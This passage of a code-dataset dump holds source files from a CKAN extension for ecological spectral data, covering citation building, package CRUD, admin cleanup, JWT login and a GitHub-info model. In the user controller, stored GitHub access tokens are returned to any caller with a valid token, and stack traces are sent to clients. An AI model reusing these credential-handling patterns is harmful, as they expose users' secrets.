geojson['coordinates'][1]\n if bbox['minlat'] > geojson['coordinates'][1]:\n bbox['minlat'] = geojson['coordinates'][1]\n\n if bbox['maxlng'] < geojson['coordinates'][0]:\n bbox['maxlng'] = geojson['coordinates'][0]\n if bbox['minlng'] > geojson['coordinates'][0]:\n bbox['minlng'] = geojson['coordinates'][0]\n\n# TODO: this needs to stay in sync with the Importer UI :/\n# Auto build the citiation field when data is pushed\ndef setCitation(pkg):\n citation = []\n\n title = pkg.get('title')\n authors = pkg.get('author')\n year = getPackageExtra('Year', pkg)\n\n doi = getPackageExtra('EcoSIS DOI', pkg)\n if doi is None or doi == '':\n doi = getPackageExtra('Citation DOI', pkg)\n\n if authors is not None:\n authors = authors.encode('ascii', 'ignore').decode(\"utf-8\").split(',')\n # authors = map(unicode.strip, authors)\n if len(authors) == 1:\n citation.append(authors[0])\n elif len(authors) == 2:\n citation.append(' and '.join(authors))\n elif len(authors) > 2:\n last = authors.pop()\n citation.append('%s and %s' % (', '.join(authors), last))\n\n if year is not None:\n citation.append(year)\n\n if title is not None:\n citation.append(title)\n\n citation.append('Data set. Available on-line [http://ecosis.org] from the Ecological Spectral Information System (EcoSIS)')\n\n if doi is not None:\n citation.append(doi)\n\n citation = '. '.join(citation)\n setPackageExtra('Citation', citation, pkg)" }, { "alpha_fraction": 0.511335015296936, "alphanum_fraction": 0.5193114876747131, "avg_line_length": 21.903846740722656, "blob_id": "a1eb745c8bedd4070ee9b9dacd998a0464fb1320", "content_id": "610d744e401bc549c5981d246ed2c4fda600fcd4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2382, "license_type": "no_license", "max_line_length": 73, "num_lines": 104, "path": "/spectra-importer/lib/package/crud.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "module.exports = function(Package){\n Package.prototype.create = create;\n Package.prototype.delete = deleteFn;\n Package.prototype.save = save;\n};\n\n\nfunction deleteFn(callback) {\n this.SDK.ckan.deletePackage(this.data.id, function(resp) {\n if( resp.error ) {\n // ERROR 5\n resp.code = 5;\n return callback(resp);\n }\n\n callback({success: true});\n });\n}\n\nfunction create(callback) {\n this.SDK.ckan.createPackage(this.data, function(resp) {\n if( resp.error ) {\n // ERROR 6\n resp.code = 6;\n return callback(resp);\n }\n\n if( !resp.id ) {\n // ERROR 7\n return callback({\n error : true,\n message : 'Failed to create dataset',\n code : 7\n });\n }\n\n callback(resp);\n }.bind(this)\n );\n}\n\nvar saveTimer = -1;\nfunction save(callback) {\n this.ee.emit('save-start');\n\n if( saveTimer !== -1 ) {\n clearTimeout(saveTimer);\n }\n\n saveTimer = setTimeout(function(){\n saveTimer = -1;\n _save(this, callback);\n }.bind(this), 500);\n}\n\nfunction _save(ref, callback) {\n // make sure we have the correct package state\n // all resources need to be included when you make a updatePackage call\n ref.SDK.ckan.getPackage(ref.data.id, function(resp) {\n if( resp.error ) {\n resp.code = 8;\n resp.message += '. Failed to fetch package for update.';\n ref.ee.emit('save-end', resp);\n if( callback ) callback(resp);\n return;\n }\n\n var metadata = resp;\n for( var key in ref.data ) {\n metadata[key] = ref.data[key];\n }\n\n ref.SDK.ckan.updatePackage(metadata,\n function(resp) {\n if( resp.error ) {\n // ERROR 9\n resp.code = 9;\n resp.message += '. Failed to update dataset.';\n ref.ee.emit('save-end', resp);\n if( callback ) callback(resp);\n return;\n }\n\n if( !resp.id ) {\n var msg = {\n error: true,\n message : 'Failed to update dataset',\n code : 10\n };\n ref.ee.emit('save-end', msg);\n // ERROR 10\n if( callback ) callback(msg);\n return;\n }\n\n ref.data = resp;\n\n if( callback ) callback({success: true});\n ref.ee.emit('save-end', {success: true});\n }\n );\n }\n );\n}\n" }, { "alpha_fraction": 0.5613601207733154, "alphanum_fraction": 0.5656877756118774, "avg_line_length": 30.417476654052734, "blob_id": "3cb063fd6fb251f38e2486a4e133f731d58420b4", "content_id": "8104098184058c171716cbac6929685dc733ee0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3235, "license_type": "no_license", "max_line_length": 82, "num_lines": 103, "path": "/ckanext/ecosis/lib/utils.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import urllib, json, datetime, re\nimport ckan.lib.helpers as h\nfrom flask import make_response\nimport traceback, sys\n\n# replicating default param parsing in ckan... really python... really...\n# TODO: see if this is really needed\ndef get_request_data(request):\n try:\n keys = request.POST.keys()\n # Parsing breaks if there is a = in the value, so for now\n # we will check if the data is actually all in a single key\n if keys and request.POST[keys[0]] in [u'1', u'']:\n request_data = keys[0]\n else:\n request_data = urllib.unquote(request.body)\n except Exception as inst:\n msg = \"Could not find the POST data: %r : %s\" % \\\n (request.POST, inst)\n raise ValueError(msg)\n\n try:\n request_data = h.json.loads(request_data, encoding='utf8')\n except ValueError as e:\n raise ValueError('Error decoding JSON data. '\n 'Error: %r '\n 'JSON data extracted from the request: %r' %\n (e, request_data))\n return request_data\n\n# We don't want to send HTML templated errors when things go wrong (CKAN default).\n# Instead we catch errors and respond with this.\ndef handleError(e):\n headers = {\"Content-Type\": \"application/json\"}\n\n stack = \"\"\n try:\n stack = traceback.format_exc()\n except e:\n pass\n\n if hasattr(e, 'message'):\n if e.message is not None:\n return make_response((json.dumps({\n \"error\": True,\n \"message\": \"%s:%s\" % (type(e).__name__, e.message),\n \"stack\" : stack\n }), 500, headers))\n if hasattr(e, 'error_summary'):\n if e.error_summary is not None:\n return make_response((json.dumps({\n \"error\": True,\n \"message\": \"%s:%s\" % (type(e).__name__, e.error_summary),\n \"stack\" : \"stack\"\n }), 500, headers))\n\n return make_response(json.dumps({\n \"error\": True,\n \"message\": \"%s:%s\" % (type(e).__name__, str(e)),\n \"stack\" : stack\n }), 500, headers)\n\n# helper for sending json, mostly adds ability to encode dates in ISO format.\ndef jsonStringify(obj, formatted=False):\n if not formatted:\n return json.dumps(obj, default=jsondefault)\n return json.dumps(obj, default=jsondefault, indent=4, separators=(',', ': '))\n\ndef jsondefault(obj):\n if isinstance(obj, datetime.datetime) or isinstance(obj, datetime.date):\n return obj.isoformat()\n else:\n return None\n\ndef setPackageExtra(attr, value, pkg):\n extra = pkg.get('extras')\n if extra == None:\n pkg['extras'] = []\n extra = pkg['extras']\n\n for item in extra:\n if item.get('key') == attr:\n item['value'] = value;\n return\n\n extra.append({\n 'key' : attr,\n 'value' : value\n })\n\ndef getPackageExtra(attr, pkg):\n extra = pkg.get('extras')\n if extra == None:\n return None\n\n for item in extra:\n if item.get('key') == attr:\n return item.get('value')\n return None\n\n# a 'flat' name is when the name is in lower case with no spaces\ndef flatten(name):\n return re.sub(r'\\s', '', name).lower()" }, { "alpha_fraction": 0.5929824709892273, "alphanum_fraction": 0.5929824709892273, "avg_line_length": 12.619047164916992, "blob_id": "77a035a19136b039012441b2f2fb8547b1c3da35", "content_id": "94f4b6c2690875a1a81949cf281de465486b0a92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 285, "license_type": "no_license", "max_line_length": 50, "num_lines": 21, "path": "/doi-admin/lib/index.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var rest = require('./rest');\n\nvar EventEmitter = require(\"events\").EventEmitter;\nvar ee = new EventEmitter();\n\n\n\n\nrest.getUserInfo(function(resp){\n console.log(resp);\n});\n\n\nvar app = {\n rest : rest,\n on : function(e, fn) {\n ee.on(e, fn);\n }\n}\n\nmodule.exports = app;" }, { "alpha_fraction": 0.6363636255264282, "alphanum_fraction": 0.6363636255264282, "avg_line_length": 23.75, "blob_id": "4275b5c3b6172c0e7449b60c719d19b91a7c12b9", "content_id": "82a08ca27665348692906154e172f7f20f65a338", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 99, "license_type": "no_license", "max_line_length": 34, "num_lines": 4, "path": "/spectra-importer/lib/logic/index.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "module.exports = function(SDK) {\n require('./createPackage')(SDK);\n require('./verify')(SDK);\n};\n" }, { "alpha_fraction": 0.7924050688743591, "alphanum_fraction": 0.7924050688743591, "avg_line_length": 32, "blob_id": "8a18649bed4395649eac44d49a66afb387d3befd", "content_id": "d4bb45ba05184d75b189250ae5e733dfdf0ade4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 395, "license_type": "no_license", "max_line_length": 91, "num_lines": 12, "path": "/ckanext/ecosis/datastore/ckan/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from . import package as ckanPackageQuery\nfrom . import resource as ckanResourceQuery\n\n'''\nThis module clones so CKAN functionality, allow access of CKAN-like objects\nw/o the requirement of authenticated HTTP requests. This helps with seperation of concerns\n'''\n\n# inject global dependencies\ndef init(pgConn, schema):\n ckanPackageQuery.init(pgConn, schema)\n ckanResourceQuery.init(pgConn)" }, { "alpha_fraction": 0.6574923396110535, "alphanum_fraction": 0.6605504751205444, "avg_line_length": 31.700000762939453, "blob_id": "2306c08c55ab653447c0d852c591a260332ec930", "content_id": "52aca43e82643b43eeeece93064adccf5d7898f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 327, "license_type": "no_license", "max_line_length": 70, "num_lines": 10, "path": "/ckanext/ecosis/datastore/ckan/utils.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "\n# mostly for debug\n# was having issue with dropped db connection\ndef verifyConnection(conn):\n print(\"Connect status:%s, closed:%s\" % (conn.status, conn.closed))\n\n if conn.closed != 0:\n print(\"Postgres connection is CLOSED, reseting...\")\n conn.reset()\n return\n print(\"Postgres connection is OPEN\")" }, { "alpha_fraction": 0.5652866363525391, "alphanum_fraction": 0.5732483863830566, "avg_line_length": 18.952381134033203, "blob_id": "569463ccc1f75a63b9f696555b70d5954054672a", "content_id": "30b79c703d0e85ecb6994b08a26b5e7bc2430687", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1256, "license_type": "no_license", "max_line_length": 59, "num_lines": 63, "path": "/spectra-importer/utils/gcmd/create.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var request = require('superagent');\nvar csv = require(\"fast-csv\");\nvar fs = require('fs');\nvar path = require('path');\n\nvar csvFile = path.join(__dirname, 'gcmd.csv');\nvar schemaFile = path.join(__dirname, 'gcmd.json');\n\nvar url = 'https://docs.google.com/spreadsheets/d/';\nvar sheetId = '1aEZWLKcRh1kp7KA9Asp5SSdlXA_cPE6bGPqYGuVyrvk';\nvar path = sheetId+'/export';\nvar params = {\n format : 'csv',\n id : 'sheetId'\n}\n\n\nfunction get() {\n request\n .get(`${url}${path}`)\n .query(params)\n .end(function(err, resp){\n if( err ) {\n return console.error(err);\n }\n\n fs.writeFileSync(csvFile, resp.text);\n parse();\n });\n}\n\nfunction parse() {\n var data = [];\n csv\n .fromPath(csvFile)\n .on('data', function(row){\n data.push(row);\n })\n .on('end', function(){\n data.splice(0, 2); // remove header\n toSchema(data);\n });\n}\n\nfunction toSchema(rows) {\n rows = rows.map(function(row){\n row = {\n id : row.pop(),\n keywords : row\n }\n\n for( var i = row.keywords.length-1; i >= 0; i-- ) {\n if( !row.keywords[i] ) row.keywords.splice(i, 1);\n else row.keywords[i] = row.keywords[i].toLowerCase();\n }\n\n return row;\n });\n\n fs.writeFileSync(schemaFile, JSON.stringify(rows));\n}\n\nget();" }, { "alpha_fraction": 0.600312352180481, "alphanum_fraction": 0.6030100584030151, "avg_line_length": 31.456220626831055, "blob_id": "4cc7c042dae0a1cbcc89bf5ee9933e585b5089e7", "content_id": "d0ebdc94012401530dc9650c1cff2bdb15aea7f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7043, "license_type": "no_license", "max_line_length": 111, "num_lines": 217, "path": "/ckanext/ecosis/controller/admin/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from ckan.lib.base import c, model\nimport ckan.logic as logic\nimport ckan.lib.uploader as uploader\nimport json, subprocess, os, urllib, re\n\nfrom ckanext.ecosis.datastore import delete as deleteUtil\nfrom ckanext.ecosis.datastore.mapreduce import mapreducePackage\nfrom ckanext.ecosis.lib.utils import jsonStringify\nfrom ckanext.ecosis.datastore.mongo import get_package_spectra_collection\nfrom .upgrade import run as runUpgrade\nfrom .upgrade import fixUnits as runFixUnits\nfrom .upgrade import fixCitationText as runFixCitationText\n\n\n# rebuild entire search index\ndef rebuildIndex(collections):\n context = {'model': model, 'user': c.user}\n\n if not isAdmin():\n raise Exception('Nope.')\n\n list = logic.get_action('package_list')(context,{})\n\n # clear the current collection\n collections.get(\"search_package\").remove({})\n\n for pkgId in list:\n context = {'model': model, 'user': c.user}\n ckanPackage = logic.get_action('package_show')(context,{id: pkgId})\n\n mapreducePackage(ckanPackage, collections.get(\"search_spectra\"), collections.get(\"package_search\"))\n\n return json.dumps({'success': True, 'rebuildCount': len(list)})\n\n# Remove all testing data flagged with _testing_\ndef cleanTests():\n context = {'model': model, 'user': c.user}\n\n path = os.path.dirname(__file__)\n\n if not isAdmin():\n raise Exception('Nope.')\n\n result = logic.get_action('package_search')(context, {'q' : '_testing_:true'})\n packages = []\n msgs = []\n\n for package in result.get('results'):\n packages.append({\n 'id': package.get('id'),\n 'name' : package.get('name')\n })\n\n logic.get_action('package_delete')(context, {'id' : package.get('id')})\n deleteUtil.package(package.get('id'))\n\n # from ckan's admin.py, run a 'purge' on the dataset\n pkgs = model.Session.query(model.Package).filter_by(id=package.get('id'))\n for pkg in pkgs:\n revisions = [x[0] for x in pkg.all_related_revisions]\n revs_to_purge = []\n revs_to_purge += [r.id for r in revisions]\n model.Session.remove()\n\n for id in revs_to_purge:\n revision = model.Session.query(model.Revision).get(id)\n try:\n model.repo.purge_revision(revision, leave_record=False)\n except Exception as inst:\n msgs.append('Problem purging revision %s: %s' % (id, inst))\n\n\n return json.dumps({\n \"packages\" : packages,\n \"messages\" : msgs,\n \"success\" : True\n })\n\n\n# dump everything (data)!\n# this will not work on the master branch\ndef clean(collections):\n context = {'model': model, 'user': c.user}\n\n path = os.path.dirname(__file__)\n\n if not isAdmin():\n raise Exception('Nope.')\n\n cmd = \"git branch\"\n process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE, cwd=path)\n branches = process.communicate()[0].decode(\"utf-8\").split(\"\\n\")\n for branch in branches:\n if \"*\" in branch:\n branch = branch.replace(\"* \",\"\")\n if branch == 'master':\n return json.dumps({'error':True, 'message':'operation can\\'t be preformed on branch master'})\n\n packages = logic.get_action('package_list')(context, {})\n\n for package in packages:\n package = logic.get_action('package_show')(context, {'id': package})\n # make sure all resources are removed from disk\n if 'resources' in package:\n for r in package['resources']:\n if r.get('url_type') == \"upload\":\n upload = uploader.ResourceUpload(r)\n path = upload.get_path(r['id'])\n if os.path.exists(path):\n os.remove(path)\n logic.get_action('package_delete')(context, {'id': package['id']})\n get_package_spectra_collection(package['id']).remove({})\n\n # clear mongo\n collections.get('resource').remove({})\n collections.get('package').remove({})\n collections.get('search_package').remove({})\n collections.get('search_spectra').remove({})\n collections.get('lookup').remove({})\n\n return json.dumps({\n 'removed': packages,\n 'message' : 'Go to /ckan-admin/trash to finish cleanup'\n })\n\n# rebuild the USDA MongoDB collection\ndef rebuildUSDACollection(collections, usdaApiUrl):\n if not isAdmin():\n raise Exception('Nope.')\n\n usdaCollection = collections.get('usda')\n usdaCollection.remove({})\n\n resp = urllib2.urlopen(usdaApiUrl)\n rows = re.sub(r'\\r', '', resp.read()).split('\\n')\n header = re.sub(r'\"', '', rows[0]).split(',')\n\n for i in range(1, len(rows)-1):\n row = re.sub(r'\"', '', rows[i]).split(',')\n item = {}\n for j in range(0, len(header)-1):\n item[header[j]] = row[j]\n usdaCollection.insert(item)\n\n return json.dumps({'success':True, 'count': len(rows)-2})\n\n# check workspace collections for badness\ndef verifyWorkspace(collections):\n if not isAdmin():\n raise Exception('Nope.')\n\n packages = collections.get('package').find({},{\"packageId\":1,\"prepared\":1,\"lastTouched\":1})\n packageInfo = {}\n ids = []\n repeatPackages = []\n pCount = 0\n for package in packages:\n packageInfo[package.get(\"packageId\")] = {\n \"prepared\" : package.get(\"prepared\"),\n \"lastTouched\" : package.get(\"lastTouched\"),\n \"workspaceSpectra\" : get_package_spectra_collection(package.get(\"packageId\")).count()\n }\n\n if package.get(\"packageId\") in ids:\n repeatPackages.append(package.get(\"packageId\"))\n else:\n pCount += 1\n ids.append(package.get(\"packageId\"))\n\n resources = collections.get('resource').find({},{\"resourceId\":1,\"sheetId\": 1})\n ids = []\n repeatResources = []\n rCount = 0\n for resource in resources:\n id = \"%s %s\" % (resource.get(\"resourceId\"), resource.get(\"sheetId\"))\n if id in ids:\n repeatResources.append(id)\n else:\n rCount += 1\n ids.append(id)\n\n return jsonStringify({\n \"packageCount\" : pCount,\n \"resourceCount\" : rCount,\n \"spectraCount\" : get_package_spectra_collection(package.get(\"packageId\")).count({\"type\": \"data\"}),\n \"metadataCount\" : get_package_spectra_collection(package.get(\"packageId\")).count({\"type\": \"metadata\"}),\n \"repeats\" : {\n \"resources\" : repeatResources,\n \"packages\" : repeatPackages\n },\n \"packageInfo\" : packageInfo\n })\n\ndef isAdmin():\n if c.userobj == None:\n return False\n if not c.userobj.sysadmin:\n return False\n return True\n\ndef upgrade():\n if not isAdmin():\n raise Exception('Nope.')\n\n return jsonStringify(runUpgrade())\n\ndef fixUnits():\n if not isAdmin():\n raise Exception('Nope.')\n\n return jsonStringify(runFixUnits())\n\ndef fixCitationText():\n if not isAdmin():\n raise Exception('Nope.')\n\n return jsonStringify(runFixCitationText())\n" }, { "alpha_fraction": 0.6358590722084045, "alphanum_fraction": 0.6404440402984619, "avg_line_length": 28.176055908203125, "blob_id": "0856e19d6522df1d80c67db4b5e23299eaecf6ee", "content_id": "f6461ca64838c6de445667ebf164460fed909a94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4144, "license_type": "no_license", "max_line_length": 101, "num_lines": 142, "path": "/ckanext/ecosis/controller/user/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "# from ckan.common import response, request\nfrom ckan.common import request\nfrom ckan.lib.base import c, model\nimport ckan.logic as logic\nimport json, jwt, re\nfrom ckan.common import config\nimport ckan.lib.authenticator as authenticator\nimport ckanext.ecosis.user_data.model as githubInfoModel\nimport ckanext.ecosis.lib.utils as utils\n\nfrom ckanext.ecosis.lib.auth import isAdmin\n\nsecret = config.get('ecosis.jwt.secret')\n\n# get information about logged in user, including if they are logged in\ndef info():\n if len(c.user) == 0:\n return {\"loggedIn\": False}\n\n context = {'model': model, 'user': c.user}\n\n # see line 604 of ckan/logic/action/get about params for this method\n orgs = logic.get_action('organization_list_for_user')(context,{\"permission\": \"create_dataset\"})\n\n user = {\n \"loggedIn\": True,\n \"username\": c.user,\n \"organizations\" : orgs\n }\n\n githubInfo = githubInfoModel.get(c.user)\n if githubInfo is not None:\n user['githubUsername'] = githubInfo.github_username\n # user['githubAccessToken'] = githubInfo.github_access_token\n\n if isAdmin():\n user['isAdmin'] = True\n\n return user\n\n\ndef remote_login():\n token = request.form.get('token')\n token = jwt.decode(token, secret, algorithm='HS256')\n\n username = token.get('username');\n password = token.get('password');\n\n\n if username is None or password is None:\n return json.dumps({\"loggedIn\": False})\n\n\n identity = {\n 'login' : username,\n 'password' : password\n }\n\n auth = authenticator.UsernamePasswordAuthenticator()\n user = auth.authenticate(request.environ, identity)\n\n if user == None:\n return json.dumps({\n \"loggedIn\": False,\n \"message\": \"invalid username or password\",\n })\n\n return create_remote_login_response(user)\n\ndef create_remote_login_response(user):\n context = {'model': model, 'user': user}\n\n # see line 604 of ckan/logic/action/get about params for this method\n # orgs = logic.get_action('organization_list_for_user')(context,{\"permission\": \"create_dataset\"})\n\n user = logic.get_action('user_show')(context, {'id':user})\n is_admin = user.get('sysadmin')\n\n user = {\n \"loggedIn\" : True,\n \"username\": user['name'],\n \"fullname\": user['fullname'],\n \"email\" : user['email'],\n \"id\" : user['id'],\n \"state\" : user['state'],\n \"github\" : {}\n #\"organizations\": orgs\n }\n\n if is_admin:\n user['admin'] = True\n\n githubInfo = githubInfoModel.get(user['username'])\n if githubInfo is not None:\n user['github']['username'] = githubInfo.github_username\n user['github']['accessToken'] = githubInfo.github_access_token\n if githubInfo.github_data is not None:\n user['github']['data'] = json.loads(githubInfo.github_data)\n\n user['token'] = jwt.encode({\n 'username': user['username'],\n 'admin' : is_admin\n }, secret, algorithm='HS256')\n\n return user\n\n# TODO: implementing JWT support is kinda a can of worms.\n# will work as a workaround hack for now...\ndef set_github_info():\n params = request.get_json()\n token = request.headers.get('authorization')\n if not token:\n raise Exception('No jwt token provided')\n\n token = re.sub(r\"Bearer \", \"\", token)\n token = jwt.decode(token, secret, algorithm='HS256')\n user_id = token.get(\"username\")\n\n if not user_id:\n raise Exception('Jwt token did not provide user id')\n\n github_username = params.get('username')\n github_access_token = params.get('accessToken')\n github_data = params.get('data')\n\n githubInfoModel.update(user_id, github_username, github_access_token, github_data)\n return info()\n\ndef get_all_github_info():\n token = request.headers.get('authorization')\n if not token:\n raise Exception('No jwt token provided')\n\n token = re.sub(r\"Bearer \", \"\", token)\n jwt.decode(token, secret, algorithm='HS256')\n\n githubInfo = githubInfoModel.getAll()\n results = []\n for user in githubInfo:\n results.append(user.as_dict())\n\n return json.dumps(results)\n\n" }, { "alpha_fraction": 0.7906712293624878, "alphanum_fraction": 0.7963594794273376, "avg_line_length": 34.15999984741211, "blob_id": "a49e0cbfda669ca13aca4f9bf37a22b08c62e211", "content_id": "0595ec6057a6a04cf6b96828ae429223bedb753b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 879, "license_type": "no_license", "max_line_length": 77, "num_lines": 25, "path": "/ecosis_conf.ini", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "# additional info required by EcoSIS in the /etc/ckan/default/development.ini\n# (or whereever your config is)\n\n\n## EcoSIS Setup\n\n## Standard config with EcoSIS updates\nckan.plugins = stats ecosis text_preview recline_preview\n\n# development\n extra_public_paths = /usr/lib/ckan/default/src/ecosis/spectra-importer/app\n# extra_public_paths = /usr/lib/ckan/default/src/ecosis/spectra-importer/dist\n##\n\necosis.workspace.root = /var/lib/ckan/workspace\necosis.search_url = http://dev-search.ecospectra.org\n\necosis.mongo.url = mongodb://localhost:27017/\necosis.mongo.db = ecosis\necosis.mongo.usda_collection = usda\necosis.mongo.spectra_collection = spectra\necosis.mongo.search_collection = search\necosis.mongo.workspace_spectra_collection = workspace_spectra\necosis.mongo.workspace_resource_collection = workspace_resources\necosis.mongo.workspace_package_collection = workspace_packages\n" }, { "alpha_fraction": 0.674225926399231, "alphanum_fraction": 0.674225926399231, "avg_line_length": 29.1842098236084, "blob_id": "caa86b92a4196f838ce94f1472033777cd1c645a", "content_id": "e65e08d69fcce6fb1b37da9bbaf42407696f2b34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2293, "license_type": "no_license", "max_line_length": 93, "num_lines": 76, "path": "/ckanext/ecosis/user_data/model.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import logging\nimport datetime\n\nfrom sqlalchemy import Table, Column, types\nfrom ckan.model.meta import mapper, metadata, Session\nfrom ckan.model.domain_object import DomainObject\nfrom ckan import model\nfrom ckan.model.types import make_uuid\n\nlog = logging.getLogger(__name__)\n\n# good references for editing tables\n# https://github.com/ckan/ckanext-harvest/blob/master/ckanext/harvest/model/__init__.py\n# https://github.com/stadt-karlsruhe/ckanext-extractor/blob/master/ckanext/extractor/model.py\n\nsource_table = None\n\ndef setup():\n if source_table is None:\n define_table()\n log.debug('User github table defined in memory')\n\n if not model.package_table.exists():\n log.debug('User github table creation deferred')\n return\n\n if not source_table.exists():\n source_table.create()\n log.debug('User github table created')\n\n else:\n log.debug('Github table already exist')\n # Check if existing tables need to be updated\n # for migration\n\ndef get(user_id):\n q = Session.query(UserGithubInfo).\\\n filter(UserGithubInfo.user_id == user_id)\n return q.first()\n\ndef getAll():\n q = Session.query(UserGithubInfo)\n return q.all()\n\ndef update(user_id, github_username, github_access_token, github_data):\n info = get(user_id)\n\n if info is None:\n info = UserGithubInfo()\n info.user_id = user_id\n\n info.github_username = github_username\n info.github_access_token = github_access_token\n info.github_data = github_data # string encoded JSON\n info.save()\n\ndef define_table():\n\n global source_table\n\n if source_table is None:\n source_table = Table('user_github_info', metadata,\n Column('id', types.UnicodeText, primary_key=True, default=make_uuid),\n Column('created', types.DateTime, default=datetime.datetime.utcnow),\n Column('user_id', types.UnicodeText, default=u''),\n Column('github_username', types.UnicodeText, default=u''),\n Column('github_access_token', types.UnicodeText, default=u''),\n Column('github_data', types.UnicodeText, default=u'')\n )\n mapper(UserGithubInfo, source_table)\n\n\nclass UserGithubInfo(DomainObject):\n '''Contains a users github user account for EcoSML\n '''\n pass" }, { "alpha_fraction": 0.4880000054836273, "alphanum_fraction": 0.5799999833106995, "avg_line_length": 30.25, "blob_id": "0cd1dfe336f3bc262ed2553637cbe852a5b9cbb8", "content_id": "52a3aeb3a0b8ac1a6a2c316f4e06af08a02817b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 250, "license_type": "no_license", "max_line_length": 138, "num_lines": 8, "path": "/doi-admin/lib/config.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var config = {\n \"ckan\" : {\n //\"host\" : \"http://192.168.2.138:5000\"\n \"host\" : window.location.host.indexOf(':8080') > -1 ? 'http://localhost:5000' : window.location.protocol+'//'+window.location.host\n }\n}\n\nmodule.exports = config;\n" }, { "alpha_fraction": 0.5226364731788635, "alphanum_fraction": 0.5239680409431458, "avg_line_length": 34.78571319580078, "blob_id": "191130ac03954fdc6683592dd6ddeb0adc65454d", "content_id": "d7c2ad44fa36b8d3db757ce555450ab8db7deab5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1502, "license_type": "no_license", "max_line_length": 97, "num_lines": 42, "path": "/ckanext/ecosis/datastore/vocab/usda.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "usdaCollection = None\n\n# inject global dependencies\ndef init(collections):\n global usdaCollection\n\n usdaCollection = collections.get('usda')\n\n# Given a spectra object with attribute 'USDA Symbol', lookup USDA plant information\ndef setCodes(spectra, info=None):\n if not 'USDA Symbol' in spectra:\n return\n\n item = usdaCollection.find_one({'Accepted Symbol': spectra['USDA Symbol'].upper()},{'_id':0})\n if item != None:\n # see if we have common name\n if item.get('Common Name') != None and item.get('Common Name') != \"\":\n spectra['Common Name'] = item['Common Name']\n\n # let the UI know where this attribute came from\n if info is not None:\n info.append({\n \"type\" : \"usda lookup\",\n \"key\" : \"Common Name\"\n })\n\n # see if we have genus and species\n if item.get('Scientific Name') != None and item.get('Scientific Name') != \"\":\n parts = item.get('Scientific Name').split(' ')\n spectra['Latin Genus'] = parts.pop(0)\n spectra['Latin Species'] = \" \".join(parts)\n\n # let the UI know where these attributes cam from\n if info is not None:\n info.append({\n \"type\" : \"usda lookup\",\n \"key\" : \"Latin Genus\"\n })\n info.append({\n \"type\" : \"usda lookup\",\n \"key\" : \"Latin Species\"\n })" }, { "alpha_fraction": 0.6970739960670471, "alphanum_fraction": 0.6983649134635925, "avg_line_length": 31.617544174194336, "blob_id": "10333a6054bb58a01a4ec322db09f513ea0bb218", "content_id": "20962841c0735339eecffe944f5ea1a10108699e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 9296, "license_type": "no_license", "max_line_length": 154, "num_lines": 285, "path": "/spectra-importer/tests/mocha/createPackage/dataset1/index.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var assert = require('assert');\n\ndescribe('Create Package - Dataset 1', function() {\n var data, SDK, pkg;\n\n before(function(){\n data = require('./data/datasetInfo');\n SDK = require('../../newSDK')();\n pkg = SDK.newPackage();\n });\n\n // test for invalid titles as well\n it('can set valid title', function(next){\n pkg.setTitle('foo', function(err){\n assert.equal(err.error, true);\n assert.equal(err.message, 'Invalid name. Title must have at least 5 characters.');\n });\n\n pkg.setTitle('This is my really long title, wow this is a such a long title, who would use a title this long, some people might try??', function(err){\n assert.equal(err.error, true);\n assert.equal(err.message, 'Invalid name. Title can have at most 100 characters.');\n });\n\n pkg.setTitle(data.title, function(err, resp){\n assert.equal(err, null);\n assert.equal(data.title, pkg.getTitle());\n assert.equal(data.name, pkg.getName());\n next();\n });\n });\n\n it('can set testing flag', function(){\n pkg._setTesting();\n assert(pkg.getExtra('_testing_'), true);\n });\n\n it('can set valid description', function(){\n pkg.setDescription(data.description);\n assert.equal(data.description, pkg.getDescription());\n });\n\n it('can check for keyword badness', function(){\n pkg.addKeyword('f');\n assert.equal(pkg.getKeywords().length, 0);\n\n pkg.addKeyword('f#*(&)');\n assert.equal(pkg.getKeywords().length, 0);\n });\n\n it('can clean and set keywords', function(){\n pkg.setKeywords(data.keywords);\n assert.deepEqual(pkg.getKeywords(), data.cleanKeywords);\n\n pkg.setKeywords([]);\n assert.deepEqual(pkg.getKeywords(), []);\n\n pkg.setKeywords(data.cleanKeywords);\n assert.deepEqual(pkg.getKeywords(), data.cleanKeywords);\n });\n\n it('can add keywords', function(){\n pkg.addKeyword('testing');\n assert.equal(pkg.hasKeyword('testing'), true);\n 